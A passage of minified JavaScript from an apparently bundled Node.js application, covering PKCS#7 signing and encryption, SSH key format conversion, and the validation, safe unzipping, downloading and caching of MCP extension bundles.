message-digest.")}A.signers.push({key:J,version:1,issuer:z,serialNumber:w,digestAlgorithm:O,signatureAlgorithm:U4.pki.oids.rsaEncryption,signature:null,authenticatedAttributes:X,unauthenticatedAttributes:[]})},sign:function(Y){if(Y=Y||{},typeof A.content!=="object"||A.contentInfo===null){if(A.contentInfo=p1.create(p1.Class.UNIVERSAL,p1.Type.SEQUENCE,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.OID,!1,p1.oidToDer(U4.pki.oids.data).getBytes())]),"content"in A){var z;if(A.content instanceof U4.util.ByteBuffer)z=A.content.bytes();else if(typeof A.content==="string")z=U4.util.encodeUtf8(A.content);if(Y.detached)A.detachedContent=p1.create(p1.Class.UNIVERSAL,p1.Type.OCTETSTRING,!1,z);else A.contentInfo.value.push(p1.create(p1.Class.CONTEXT_SPECIFIC,0,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.OCTETSTRING,!1,z)]))}}if(A.signers.length===0)return;var w=K();q(w)},verify:function(){throw Error("PKCS#7 signature verification not yet implemented.")},addCertificate:function(Y){if(typeof Y==="string")Y=U4.pki.certificateFromPem(Y);A.certificates.push(Y)},addCertificateRevokationList:function(Y){throw Error("PKCS#7 CRL support not yet implemented.")}},A;function K(){var Y={};for(var z=0;z<A.signers.length;++z){var w=A.signers[z],H=w.digestAlgorithm;if(!(H in Y))Y[H]=U4.md[U4.pki.oids[H]].create();if(w.authenticatedAttributes.length===0)w.md=Y[H];else w.md=U4.md[U4.pki.oids[H]].create()}A.digestAlgorithmIdentifiers=[];for(var H in Y)A.digestAlgorithmIdentifiers.push(p1.create(p1.Class.UNIVERSAL,p1.Type.SEQUENCE,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.OID,!1,p1.oidToDer(H).getBytes()),p1.create(p1.Class.UNIVERSAL,p1.Type.NULL,!1,"")]));return Y}function q(Y){var z;if(A.detachedContent)z=A.detachedContent;else z=A.contentInfo.value[1],z=z.value[0];if(!z)throw Error("Could not sign PKCS#7 message; there is no content to sign.");var w=p1.derToOid(A.contentInfo.value[0].value),H=p1.toDer(z);H.getByte(),p1.getBerValueLength(H),H=H.getBytes();for(var J in Y)Y[J].start().update(H);var O=new Date;for(var X=0;X<A.signers.length;++X){var $=A.signers[X];if($.authenticatedAttributes.length===0){if(w!==U4.pki.oids.data)throw Error("Invalid signer; authenticatedAttributes must be present when the ContentInfo content type is not PKCS#7 Data.")}else{$.authenticatedAttributesAsn1=p1.create(p1.Class.CONTEXT_SPECIFIC,0,!0,[]);var _=p1.create(p1.Class.UNIVERSAL,p1.Type.SET,!0,[]);for(var G=0;G<$.authenticatedAttributes.length;++G){var Z=$.authenticatedAttributes[G];if(Z.type===U4.pki.oids.messageDigest)Z.value=Y[$.digestAlgorithm].digest();else if(Z.type===U4.pki.oids.signingTime){if(!Z.value)Z.value=O}_.value.push(xj6(Z)),$.authenticatedAttributesAsn1.value.push(xj6(Z))}H=p1.toDer(_).getBytes(),$.md.start().update(H)}$.signature=$.key.sign($.md,"RSASSA-PKCS1-V1_5")}A.signerInfos=nEY(A.signers)}};lM.createEncryptedData=function(){var A=null;return A={type:U4.pki.oids.encryptedData,version:0,encryptedContent:{algorithm:U4.pki.oids["aes256-CBC"]},fromAsn1:function(K){uj6(A,K,lM.asn1.encryptedDataValidator)},decrypt:function(K){if(K!==void 0)A.encryptedContent.key=K;qZ7(A)}},A};lM.createEnvelopedData=function(){var A=null;return A={type:U4.pki.oids.envelopedData,version:0,recipients:[],encryptedContent:{algorithm:U4.pki.oids["aes256-CBC"]},fromAsn1:function(K){var q=uj6(A,K,lM.asn1.envelopedDataValidator);A.recipients=cEY(q.recipientInfos.value)},toAsn1:function(){return p1.create(p1.Class.UNIVERSAL,p1.Type.SEQUENCE,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.OID,!1,p1.oidToDer(A.type).getBytes()),p1.create(p1.Class.CONTEXT_SPECIFIC,0,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.SEQUENCE,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.INTEGER,!1,p1.integerToDer(A.version).getBytes()),p1.create(p1.Class.UNIVERSAL,p1.Type.SET,!0,lEY(A.recipients)),p1.create(p1.Class.UNIVERSAL,p1.Type.SEQUENCE,!0,rEY(A.encryptedContent))])])])},findRecipient:function(K){var q=K.issuer.attributes;for(var Y=0;Y<A.recipients.length;++Y){var z=A.recipients[Y],w=z.issuer;if(z.serialNumber!==K.serialNumber)continue;if(w.length!==q.length)continue;var H=!0;for(var J=0;J<q.length;++J)if(w[J].type!==q[J].type||w[J].value!==q[J].value){H=!1;break}if(H)return z}return null},decrypt:function(K,q){if(A.encryptedContent.key===void 0&&K!==void 0&&q!==void 0)switch(K.encryptedContent.algorithm){case U4.pki.oids.rsaEncryption:case U4.pki.oids.desCBC:var Y=q.decrypt(K.encryptedContent.content);A.encryptedContent.key=U4.util.createBuffer(Y);break;default:throw Error("Unsupported asymmetric cipher, OID "+K.encryptedContent.algorithm)}qZ7(A)},addRecipient:function(K){A.recipients.push({version:0,issuer:K.issuer.attributes,serialNumber:K.serialNumber,encryptedContent:{algorithm:U4.pki.oids.rsaEncryption,key:K.publicKey}})},encrypt:function(K,q){if(A.encryptedContent.content===void 0){q=q||A.encryptedContent.algorithm,K=K||A.encryptedContent.key;var Y,z,w;switch(q){case U4.pki.oids["aes128-CBC"]:Y=16,z=16,w=U4.aes.createEncryptionCipher;break;case U4.pki.oids["aes192-CBC"]:Y=24,z=16,w=U4.aes.createEncryptionCipher;break;case U4.pki.oids["aes256-CBC"]:Y=32,z=16,w=U4.aes.createEncryptionCipher;break;case U4.pki.oids["des-EDE3-CBC"]:Y=24,z=8,w=U4.des.createEncryptionCipher;break;default:throw Error("Unsupported symmetric cipher, OID "+q)}if(K===void 0)K=U4.util.createBuffer(U4.random.getBytes(Y));else if(K.length()!=Y)throw Error("Symmetric key has wrong length; got "+K.length()+" bytes, expected "+Y+".");A.encryptedContent.algorithm=q,A.encryptedContent.key=K,A.encryptedContent.parameter=U4.util.createBuffer(U4.random.getBytes(z));var H=w(K);if(H.start(A.encryptedContent.parameter.copy()),H.update(A.content),!H.finish())throw Error("Symmetric encryption failed.");A.encryptedContent.content=H.output}for(var J=0;J<A.recipients.length;++J){var O=A.recipients[J];if(O.encryptedContent.content!==void 0)continue;switch(O.encryptedContent.algorithm){case U4.pki.oids.rsaEncryption:O.encryptedContent.content=O.encryptedContent.key.encrypt(A.encryptedContent.key.data);break;default:throw Error("Unsupported asymmetric cipher, OID "+O.encryptedContent.algorithm)}}}},A};function pEY(A){var K={},q=[];if(!p1.validate(A,lM.asn1.recipientInfoValidator,K,q)){var Y=Error("Cannot read PKCS#7 RecipientInfo. ASN.1 object is not an PKCS#7 RecipientInfo.");throw Y.errors=q,Y}return{version:K.version.charCodeAt(0),issuer:U4.pki.RDNAttributesAsArray(K.issuer),serialNumber:U4.util.createBuffer(K.serial).toHex(),encryptedContent:{algorithm:p1.derToOid(K.encAlgorithm),parameter:K.encParameter?K.encParameter.value:void 0,content:K.encKey}}}function dEY(A){return p1.create(p1.Class.UNIVERSAL,p1.Type.SEQUENCE,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.INTEGER,!1,p1.integerToDer(A.version).getBytes()),p1.create(p1.Class.UNIVERSAL,p1.Type.SEQUENCE,!0,[U4.pki.distinguishedNameToAsn1({attributes:A.issuer}),p1.create(p1.Class.UNIVERSAL,p1.Type.INTEGER,!1,U4.util.hexToBytes(A.serialNumber))]),p1.create(p1.Class.UNIVERSAL,p1.Type.SEQUENCE,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.OID,!1,p1.oidToDer(A.encryptedContent.algorithm).getBytes()),p1.create(p1.Class.UNIVERSAL,p1.Type.NULL,!1,"")]),p1.create(p1.Class.UNIVERSAL,p1.Type.OCTETSTRING,!1,A.encryptedContent.content)])}function cEY(A){var K=[];for(var q=0;q<A.length;++q)K.push(pEY(A[q]));return K}function lEY(A){var K=[];for(var q=0;q<A.length;++q)K.push(dEY(A[q]));return K}function iEY(A){var K=p1.create(p1.Class.UNIVERSAL,p1.Type.SEQUENCE,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.INTEGER,!1,p1.integerToDer(A.version).getBytes()),p1.create(p1.Class.UNIVERSAL,p1.Type.SEQUENCE,!0,[U4.pki.distinguishedNameToAsn1({attributes:A.issuer}),p1.create(p1.Class.UNIVERSAL,p1.Type.INTEGER,!1,U4.util.hexToBytes(A.serialNumber))]),p1.create(p1.Class.UNIVERSAL,p1.Type.SEQUENCE,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.OID,!1,p1.oidToDer(A.digestAlgorithm).getBytes()),p1.create(p1.Class.UNIVERSAL,p1.Type.NULL,!1,"")])]);if(A.authenticatedAttributesAsn1)K.value.push(A.authenticatedAttributesAsn1);if(K.value.push(p1.create(p1.Class.UNIVERSAL,p1.Type.SEQUENCE,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.OID,!1,p1.oidToDer(A.signatureAlgorithm).getBytes()),p1.create(p1.Class.UNIVERSAL,p1.Type.NULL,!1,"")])),K.value.push(p1.create(p1.Class.UNIVERSAL,p1.Type.OCTETSTRING,!1,A.signature)),A.unauthenticatedAttributes.length>0){var q=p1.create(p1.Class.CONTEXT_SPECIFIC,1,!0,[]);for(var Y=0;Y<A.unauthenticatedAttributes.length;++Y){var z=A.unauthenticatedAttributes[Y];q.values.push(xj6(z))}K.value.push(q)}return K}function nEY(A){var K=[];for(var q=0;q<A.length;++q)K.push(iEY(A[q]));return K}function xj6(A){var K;if(A.type===U4.pki.oids.contentType)K=p1.create(p1.Class.UNIVERSAL,p1.Type.OID,!1,p1.oidToDer(A.value).getBytes());else if(A.type===U4.pki.oids.messageDigest)K=p1.create(p1.Class.UNIVERSAL,p1.Type.OCTETSTRING,!1,A.value.bytes());else if(A.type===U4.pki.oids.signingTime){var q=new Date("1950-01-01T00:00:00Z"),Y=new Date("2050-01-01T00:00:00Z"),z=A.value;if(typeof z==="string"){var w=Date.parse(z);if(!isNaN(w))z=new Date(w);else if(z.length===13)z=p1.utcTimeToDate(z);else z=p1.generalizedTimeToDate(z)}if(z>=q&&z<Y)K=p1.create(p1.Class.UNIVERSAL,p1.Type.UTCTIME,!1,p1.dateToUtcTime(z));else K=p1.create(p1.Class.UNIVERSAL,p1.Type.GENERALIZEDTIME,!1,p1.dateToGeneralizedTime(z))}return p1.create(p1.Class.UNIVERSAL,p1.Type.SEQUENCE,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.OID,!1,p1.oidToDer(A.type).getBytes()),p1.create(p1.Class.UNIVERSAL,p1.Type.SET,!0,[K])])}function rEY(A){return[p1.create(p1.Class.UNIVERSAL,p1.Type.OID,!1,p1.oidToDer(U4.pki.oids.data).getBytes()),p1.create(p1.Class.UNIVERSAL,p1.Type.SEQUENCE,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.OID,!1,p1.oidToDer(A.algorithm).getBytes()),!A.parameter?void 0:p1.create(p1.Class.UNIVERSAL,p1.Type.OCTETSTRING,!1,A.parameter.getBytes())]),p1.create(p1.Class.CONTEXT_SPECIFIC,0,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.OCTETSTRING,!1,A.content.getBytes())])]}function uj6(A,K,q){var Y={},z=[];if(!p1.validate(K,q,Y,z)){var w=Error("Cannot read PKCS#7 message. ASN.1 object is not a supported PKCS#7 message.");throw w.errors=w,w}var H=p1.derToOid(Y.contentType);if(H!==U4.pki.oids.data)throw Error("Unsupported PKCS#7 message. Only wrapped ContentType Data supported.");if(Y.encryptedContent){var J="";if(U4.util.isArray(Y.encryptedContent))for(var O=0;O<Y.encryptedContent.length;++O){if(Y.encryptedContent[O].type!==p1.Type.OCTETSTRING)throw Error("Malformed PKCS#7 message, expecting encrypted content constructed of only OCTET STRING objects.");J+=Y.encryptedContent[O].value}else J=Y.encryptedContent;A.encryptedContent={algorithm:p1.derToOid(Y.encAlgorithm),parameter:U4.util.createBuffer(Y.encParameter.value),content:U4.util.createBuffer(J)}}if(Y.content){var J="";if(U4.util.isArray(Y.content))for(var O=0;O<Y.content.length;++O){if(Y.content[O].type!==p1.Type.OCTETSTRING)throw Error("Malformed PKCS#7 message, expecting content constructed of only OCTET STRING objects.");J+=Y.content[O].value}else J=Y.content;A.content=U4.util.createBuffer(J)}return A.version=Y.version.charCodeAt(0),A.rawCapture=Y,Y}function qZ7(A){if(A.encryptedContent.key===void 0)throw Error("Symmetric key not available.");if(A.content===void 0){var K;switch(A.encryptedContent.algorithm){case U4.pki.oids["aes128-CBC"]:case U4.pki.oids["aes192-CBC"]:case U4.pki.oids["aes256-CBC"]:K=U4.aes.createDecryptionCipher(A.encryptedContent.key);break;case U4.pki.oids.desCBC:case U4.pki.oids["des-EDE3-CBC"]:K=U4.des.createDecryptionCipher(A.encryptedContent.key);break;default:throw Error("Unsupported symmetric cipher, OID "+A.encryptedContent.algorithm)}if(K.start(A.encryptedContent.parameter),K.update(A.encryptedContent.content),!K.finish())throw Error("Symmetric decryption failed.");A.content=K.output}}});var HZ7=v((p4H,wZ7)=>{var Z$=m3();ha();LZA();cX1();SZA();bY();var W$1=wZ7.exports=Z$.ssh=Z$.ssh||{};W$1.privateKeyToPutty=function(A,K,q){q=q||"",K=K||"";var Y="ssh-rsa",z=K===""?"none":"aes256-cbc",w="PuTTY-User-Key-File-2: "+Y+`\r `;w+="Encryption: "+z+`\r `,w+="Comment: "+q+`\r `;var H=Z$.util.createBuffer();QZA(H,Y),qB(H,A.e),qB(H,A.n);var J=Z$.util.encode64(H.bytes(),64),O=Math.floor(J.length/66)+1;w+="Public-Lines: "+O+`\r `,w+=J;var X=Z$.util.createBuffer();qB(X,A.d),qB(X,A.p),qB(X,A.q),qB(X,A.qInv);var $;if(!K)$=Z$.util.encode64(X.bytes(),64);else{var _=X.length()+16-1;_-=_%16;var G=Z$1(X.bytes());G.truncate(G.length()-_+X.length()),X.putBuffer(G);var Z=Z$.util.createBuffer();Z.putBuffer(Z$1("\x00\x00\x00\x00",K)),Z.putBuffer(Z$1("\x00\x00\x00\x01",K));var W=Z$.aes.createEncryptionCipher(Z.truncate(8),"CBC");W.start(Z$.util.createBuffer().fillWithByte(0,16)),W.update(X.copy()),W.finish();var D=W.output;D.truncate(16),$=Z$.util.encode64(D.bytes(),64)}O=Math.floor($.length/66)+1,w+=`\r Private-Lines: `+O+`\r `,w+=$;var j=Z$1("putty-private-key-file-mac-key",K),M=Z$.util.createBuffer();QZA(M,Y),QZA(M,z),QZA(M,q),M.putInt32(H.length()),M.putBuffer(H),M.putInt32(X.length()),M.putBuffer(X);var P=Z$.hmac.create();return P.start("sha1",j),P.update(M.bytes()),w+=`\r Private-MAC: `+P.digest().toHex()+`\r `,w};W$1.publicKeyToOpenSSH=function(A,K){var q="ssh-rsa";K=K||"";var Y=Z$.util.createBuffer();return QZA(Y,q),qB(Y,A.e),qB(Y,A.n),q+" "+Z$.util.encode64(Y.bytes())+" "+K};W$1.privateKeyToOpenSSH=function(A,K){if(!K)return Z$.pki.privateKeyToPem(A);return Z$.pki.encryptRsaPrivateKey(A,K,{legacy:!0,algorithm:"aes128"})};W$1.getPublicKeyFingerprint=function(A,K){K=K||{};var q=K.md||Z$.md.md5.create(),Y="ssh-rsa",z=Z$.util.createBuffer();QZA(z,Y),qB(z,A.e),qB(z,A.n),q.start(),q.update(z.getBytes());var w=q.digest();if(K.encoding==="hex"){var H=w.toHex();if(K.delimiter)return H.match(/.{2}/g).join(K.delimiter);return H}else if(K.encoding==="binary")return w.getBytes();else if(K.encoding)throw Error('Unknown encoding "'+K.encoding+'".');return w};function qB(A,K){var q=K.toString(16);if(q[0]>="8")q="00"+q;var Y=Z$.util.hexToBytes(q);A.putInt32(Y.length),A.putBytes(Y)}function QZA(A,K){A.putInt32(K.length),A.putString(K)}function Z$1(){var A=Z$.md.sha1.create(),K=arguments.length;for(var q=0;q<K;++q)A.update(arguments[q]);return A.digest()}});var OZ7=v((d4H,JZ7)=>{JZ7.exports=m3();ha();IG7();xI();mX1();MBA();nG7();LZA();sG7();eG7();KZ7();Jj6();rX1();vqA();Aj6();$j6();zZ7();Gj6();qj6();iD6();K$1();uC();oD6();HZ7();Pj6();bY()});import{execFile as oEY}from"child_process";import{promisify as sEY}from"util";var aEY,i4H;var Bj6=k(()=>{aEY=o(OZ7(),1),i4H=sEY(oEY)});var mj6=k(()=>{Bj6()});var XZ7,eEY,AkY,KkY,qkY,YkY,zkY,wkY,HkY,JkY,e4H,OkY,A7H;var $Z7=k(()=>{akA();XZ7=KT({command:m8(),args:dO(m8()).optional(),env:sR(m8(),m8()).optional()}),eEY=KT({name:m8(),email:m8().email().optional(),url:m8().url().optional()}),AkY=KT({type:m8(),url:m8().url()}),KkY=XZ7.partial(),qkY=XZ7.extend({platform_overrides:sR(m8(),KkY).optional()}),YkY=KT({type:tR(["python","node","binary"]),entry_point:m8(),mcp_config:qkY}),zkY=KT({claude_desktop:m8().optional(),platforms:dO(tR(["darwin","win32","linux"])).optional(),runtimes:KT({python:m8().optional(),node:m8().optional()}).optional()}).passthrough(),wkY=KT({name:m8(),description:m8().optional()}),HkY=KT({name:m8(),description:m8().optional(),arguments:dO(m8()).optional(),text:m8()}),JkY=KT({type:tR(["string","number","boolean","directory","file"]),title:m8(),description:m8(),required:o_().optional(),default:U6A([m8(),nE(),o_(),dO(m8())]).optional(),multiple:o_().optional(),sensitive:o_().optional(),min:nE().optional(),max:nE().optional()}),e4H=sR(m8(),U6A([m8(),nE(),o_(),dO(m8())])),OkY=KT({$schema:m8().optional(),dxt_version:m8().optional().describe("@deprecated Use manifest_version instead"),manifest_version:m8().optional(),name:m8(),display_name:m8().optional(),version:m8(),description:m8(),long_description:m8().optional(),author:eEY,repository:AkY.optional(),homepage:m8().url().optional(),documentation:m8().url().optional(),support:m8().url().optional(),icon:m8().optional(),screenshots:dO(m8()).optional(),server:YkY,tools:dO(wkY).optional(),tools_generated:o_().optional(),prompts:dO(HkY).optional(),prompts_generated:o_().optional(),keywords:dO(m8()).optional(),license:m8().optional(),compatibility:zkY.optional(),user_config:sR(m8(),JkY).optional()}).refine((A)=>!!(A.dxt_version||A.manifest_version),{message:"Either 'dxt_version' (deprecated) or 'manifest_version' must be provided"}),A7H=KT({status:tR(["signed","unsigned","self-signed"]),publisher:m8().optional(),issuer:m8().optional(),valid_from:m8().optional(),valid_to:m8().optional(),fingerprint:m8().optional()})});var XkY,$kY;var gj6=k(()=>{mj6();iuA();$Z7();XkY=o(n$7(),1),$kY=o(a$7(),1)});var _Z7=k(()=>{KD6();gj6();iuA();rW6()});function Fj6(A,K){if(typeof A==="string"){let q=A;for(let[Y,z]of Object.entries(K)){let w=new RegExp(`\\$\\{${Y}\\}`,"g");if(q.match(w))if(Array.isArray(z))console.warn(`Cannot replace ${Y} with array value in string context: "${A}"`,{key:Y,replacement:z});else q=q.replace(w,z)}return q}else if(Array.isArray(A)){let q=[];for(let Y of A)if(typeof Y==="string"&&Y.match(/^\$\{user_config\.[^}]+\}$/)){let z=Y.match(/^\$\{([^}]+)\}$/)?.[1];if(z&&K[z]){let w=K[z];if(Array.isArray(w))q.push(...w);else q.push(w)}else q.push(Y)}else q.push(Fj6(Y,K));return q}else if(A&&typeof A==="object"){let q={};for(let[Y,z]of Object.entries(A))q[Y]=Fj6(z,K);return q}return A}async function UZA(A){let{manifest:K,extensionPath:q,systemDirs:Y,userConfig:z,pathSeparator:w,logger:H}=A,J=K.server?.mcp_config;if(!J)return;let O={...J};if(J.platform_overrides){if(process.platform in J.platform_overrides){let _=J.platform_overrides[process.platform];O.command=_.command||O.command,O.args=_.args||O.args,O.env=_.env||O.env}}if(_kY({manifest:K,userConfig:z})){H?.warn(`Extension ${K.name} has missing required configuration, skipping MCP config`);return}let X={__dirname:q,pathSeparator:w,"/":w,...Y},$={};if(K.user_config){for(let[_,G]of Object.entries(K.user_config))if(G.default!==void 0)$[_]=G.default}if(z)Object.assign($,z);for(let[_,G]of Object.entries($)){let Z=`user_config.${_}`;if(Array.isArray(G))X[Z]=G.map(String);else if(typeof G==="boolean")X[Z]=G?"true":"false";else X[Z]=String(G)}return O=Fj6(O,X),O}function GZ7(A){return A===void 0||A===null||A===""}function _kY({manifest:A,userConfig:K}){if(!A.user_config)return!1;let q=K||{};for(let[Y,z]of Object.entries(A.user_config))if(z.required){let w=q[Y];if(GZ7(w)||Array.isArray(w)&&(w.length===0||w.some(GZ7)))return!0}return!1}var ZZ7=()=>{};var LBA=k(()=>{rW6();_Z7();mj6();KD6();Bj6();gj6();iuA();ZZ7()});function WZ7(A){let K=WX1.safeParse(A);if(!K.success){let q=K.error.flatten(),Y=[...Object.entries(q.fieldErrors).map(([z,w])=>`${z}: ${w?.join(", ")}`),...q.formErrors||[]].filter(Boolean).join("; ");throw Error(`Invalid manifest: ${Y}`)}return K.data}function GkY(A){let K;try{K=G6(A)}catch(q){throw Error(`Invalid JSON in manifest.json: ${q instanceof Error?q.message:String(q)}`)}return WZ7(K)}function D$1(A){let K=new TextDecoder().decode(A);return GkY(K)}var Qj6=k(()=>{LBA();b1()});import*as j$1 from"path";function ZkY(A){if(uwA(A))return!1;let K=j$1.normalize(A);if(j$1.isAbsolute(K))return!1;return!0}function WkY(A,K){K.fileCount++;let q;if(K.fileCount>Ua.MAX_FILE_COUNT)q=`Archive contains too many files: ${K.fileCount} (max: ${Ua.MAX_FILE_COUNT})`;if(!ZkY(A.name))q=`Unsafe file path detected: "${A.name}". Path traversal or absolute paths are not allowed.`;let Y=A.originalSize||0;if(Y>Ua.MAX_FILE_SIZE)q=`File "${A.name}" is too large: ${Math.round(Y/1024/1024)}MB (max: ${Math.round(Ua.MAX_FILE_SIZE/1024/1024)}MB)`;if(K.totalUncompressedSize+=Y,K.totalUncompressedSize>Ua.MAX_TOTAL_SIZE)q=`Archive total size is too large: ${Math.round(K.totalUncompressedSize/1024/1024)}MB (max: ${Math.round(Ua.MAX_TOTAL_SIZE/1024/1024)}MB)`;let z=K.totalUncompressedSize/K.compressedSize;if(z>Ua.MAX_COMPRESSION_RATIO)q=`Suspicious compression ratio detected: ${z.toFixed(1)}:1 (max: ${Ua.MAX_COMPRESSION_RATIO}:1). This may be a zip bomb.`;return q?{isValid:!1,error:q}:{isValid:!0}}function Uj6(A){let K=BA();if(!K.existsSync(A))throw Error(`Zip file does not exist: ${A}`);try{let q=K.readFileBytesSync(A),z={fileCount:0,totalUncompressedSize:0,compressedSize:q.length,errors:[]},w=gJ7(new Uint8Array(q),{filter:(H)=>{let J=WkY(H,z);if(!J.isValid)throw Error(J.error);return!0}});return h(`Zip extraction completed: ${z.fileCount} files, ${Math.round(z.totalUncompressedSize/1024)}KB uncompressed`),w}catch(q){let Y=q instanceof Error?q.message:String(q);throw Error(`Failed to read or unzip file: ${Y}`)}}var Ua;var pj6=k(()=>{FJ7();Z1();e6();Oz();Ua={MAX_FILE_SIZE:536870912,MAX_TOTAL_SIZE:1073741824,MAX_FILE_COUNT:1e5,MAX_COMPRESSION_RATIO:50,MIN_COMPRESSION_RATIO:0.5}});import*as DZ7 from"os";import*as hqA from"path";function bqA(A){let K=A?.platform??o6(),q=A?.homedir??DZ7.homedir(),Y=A?.env??process.env,z={HOME:q,DESKTOP:hqA.join(q,"Desktop"),DOCUMENTS:hqA.join(q,"Documents"),DOWNLOADS:hqA.join(q,"Downloads")};switch(K){case"windows":{let w=Y.USERPROFILE||q;return{HOME:q,DESKTOP:hqA.join(w,"Desktop"),DOCUMENTS:hqA.join(w,"Documents"),DOWNLOADS:hqA.join(w,"Downloads")}}case"linux":case"wsl":return{HOME:q,DESKTOP:Y.XDG_DESKTOP_DIR||z.DESKTOP,DOCUMENTS:Y.XDG_DOCUMENTS_DIR||z.DOCUMENTS,DOWNLOADS:Y.XDG_DOWNLOAD_DIR||z.DOWNLOADS};case"macos":default:{if(K==="unknown")h("Unknown platform detected, using default paths");return z}}}var RBA=k(()=>{B5();Z1()});import{createHash as cj6}from"crypto";import{join as pa,dirname as DkY}from"path";function pC(A){return A.endsWith(".mcpb")||A.endsWith(".dxt")}function fZ7(A){return A.startsWith("http://")||A.startsWith("https://")}function jkY(A){return cj6("sha256").update(A).digest("hex").substring(0,16)}function NZ7(A){return pa(A,".mcpb-cache")}function TZ7(A,K){let q=cj6("md5").update(K).digest("hex").substring(0,8);return pa(A,`${q}.metadata.json`)}function jZ7(A,K){try{let Y=J8().pluginConfigs?.[A]?.mcpServers?.[K];if(!Y)return null;return h(`Loaded user config for ${A}/${K} from settings`),Y}catch(q){let Y=q instanceof Error?q:Error(String(q));return KA(Y),h(`Failed to load user config for ${A}/${K}: ${q}`,{level:"error"}),null}}function MZ7(A,K,q){try{let Y=J8();if(!Y.pluginConfigs)Y.pluginConfigs={};if(!Y.pluginConfigs[A])Y.pluginConfigs[A]={};if(!Y.pluginConfigs[A].mcpServers)Y.pluginConfigs[A].mcpServers={};Y.pluginConfigs[A].mcpServers[K]=q;let z=v4("userSettings",Y);if(z.error)throw z.error;h(`Saved user config for ${A}/${K} to user settings`)}catch(Y){let z=Y instanceof Error?Y:Error(String(Y));throw KA(z),Error(`Failed to save user configuration for ${A}/${K}: ${z.message}`)}}function PZ7(A,K){let q=[];for(let[Y,z]of Object.entries(K)){let w=A[Y];if(z.required&&(w===void 0||w==="")){q.push(`${z.title||Y} is required but not provided`);continue}if(w===void 0||w==="")continue;if(z.type==="string"){if(Array.isArray(w)){if(!z.multiple)q.push(`${z.title||Y} must be a string, not an array`);else if(!w.every((H)=>typeof H==="string"))q.push(`${z.title||Y} must be an array of strings`)}else if(typeof w!=="string")q.push(`${z.title||Y} must be a string`)}else if(z.type==="number"&&typeof w!=="number")q.push(`${z.title||Y} must be a number`);else if(z.type==="boolean"&&typeof w!=="boolean")q.push(`${z.title||Y} must be a boolean`);else if((z.type==="file"||z.type==="directory")&&typeof w!=="string")q.push(`${z.title||Y} must be a path string`);if(z.type==="number"&&typeof w==="number"){if(z.min!==void 0&&w<z.min)q.push(`${z.title||Y} must be at least ${z.min}`);if(z.max!==void 0&&w>z.max)q.push(`${z.title||Y} must be at most ${z.max}`)}}return{valid:q.length===0,errors:q}}async function VZ7(A,K){let q=await UZA({manifest:A,extensionPath:K,systemDirs:bqA(),userConfig:{},pathSeparator:"/"});if(!q){let Y=Error(`Failed to generate MCP server configuration from manifest "${A.name}"`);throw KA(Y),Y}return q}async function vZ7(A,K){let q=BA(),Y=TZ7(A,K);if(!q.existsSync(Y))return null;try{let z=q.readFileSync(Y,{encoding:"utf-8"});return G6(z)}catch(z){let w=z instanceof Error?z:Error(String(z));return KA(w),h(`Failed to load MCPB cache metadata: ${z}`,{level:"error"}),null}}async function dj6(A,K,q){let Y=BA(),z=TZ7(A,K);Y.mkdirSync(A),x8(z,UA(q,null,2),"utf-8")}async function MkY(A,K,q){if(h(`Downloading MCPB from ${A}`),q)q(`Downloading ${A}...`);try{let Y=await A8.get(A,{timeout:120000,responseType:"arraybuffer",maxRedirects:5,onDownloadProgress:(w)=>{if(w.total&&q){let H=Math.round(w.loaded/w.total*100);q(`Downloading... ${H}%`)}}}),z=new Uint8Array(Y.data);if(x8(K,Buffer.from(z)),h(`Downloaded ${z.length} bytes to ${K}`),q)q("Download complete");return z}catch(Y){let z=Y instanceof Error?Y.message:String(Y),w=Error(`Failed to download MCPB file from ${A}: ${z}`);throw KA(w),w}}async function PkY(A,K,q){let Y=BA();if(q)q("Extracting files...");Y.mkdirSync(K);let z=0,w=Object.keys(A).length;for(let[H,J]of Object.entries(A)){let O=pa(K,H),X=DkY(O);if(X!==K&&!Y.existsSync(X))Y.mkdirSync(X);if(H.endsWith(".json")||H.endsWith(".js")||H.endsWith(".ts")||H.endsWith(".txt")||H.endsWith(".md")||H.endsWith(".yml")||H.endsWith(".yaml")){let _=new TextDecoder().decode(J);x8(O,_,"utf-8")}else x8(O,Buffer.from(J));if(z++,q&&z%10===0)q(`Extracted ${z}/${w} files`)}if(h(`Extracted ${z} files to ${K}`),q)q(`Extraction complete (${z} files)`)}async function VkY(A,K){let q=BA(),Y=NZ7(K),z=await vZ7(Y,A);if(!z)return!0;if(!q.existsSync(z.extractedPath))return h(`MCPB extraction path missing: ${z.extractedPath}`),!0;if(!fZ7(A)){let w=pa(K,A);if(!q.existsSync(w))return h(`MCPB source file missing: ${w}`),!0;let H=q.statSync(w),J=new Date(z.cachedAt).getTime(),O=H.mtimeMs;if(O>J)return h(`MCPB file modified: ${new Date(O)} > ${new Date(J)}`),!0}return!1}async function yBA(A,K,q,Y,z,w){let H=BA(),J=NZ7(K);H.mkdirSync(J),h(`Loading MCPB from source: ${A}`);let O=await vZ7(J,A);if(O&&!await VkY(A,K)){h(`Using cached MCPB from ${O.extractedPath} (hash: ${O.contentHash})`);let P=pa(O.extractedPath,"manifest.json");if(!H.existsSync(P)){let R=Error(`Cached manifest not found: ${P}`);throw KA(R),R}let f=H.readFileSync(P,{encoding:"utf-8"}),N=new TextEncoder().encode(f),T=D$1(N);if(T.user_config&&Object.keys(T.user_config).length>0){let R=T.name,x=jZ7(q,R),y=z||x||{},B=PZ7(y,T.user_config);if(w||!B.valid)return{status:"needs-config",manifest:T,extractedPath:O.extractedPath,contentHash:O.contentHash,configSchema:T.user_config,existingConfig:x||{},validationErrors:B.valid?[]:B.errors};if(z)MZ7(q,R,z);let b=await UZA({manifest:T,extensionPath:O.extractedPath,systemDirs:bqA(),userConfig:y,pathSeparator:"/"});if(!b){let F=Error(`Failed to generate MCP server configuration from manifest "${T.name}"`);throw 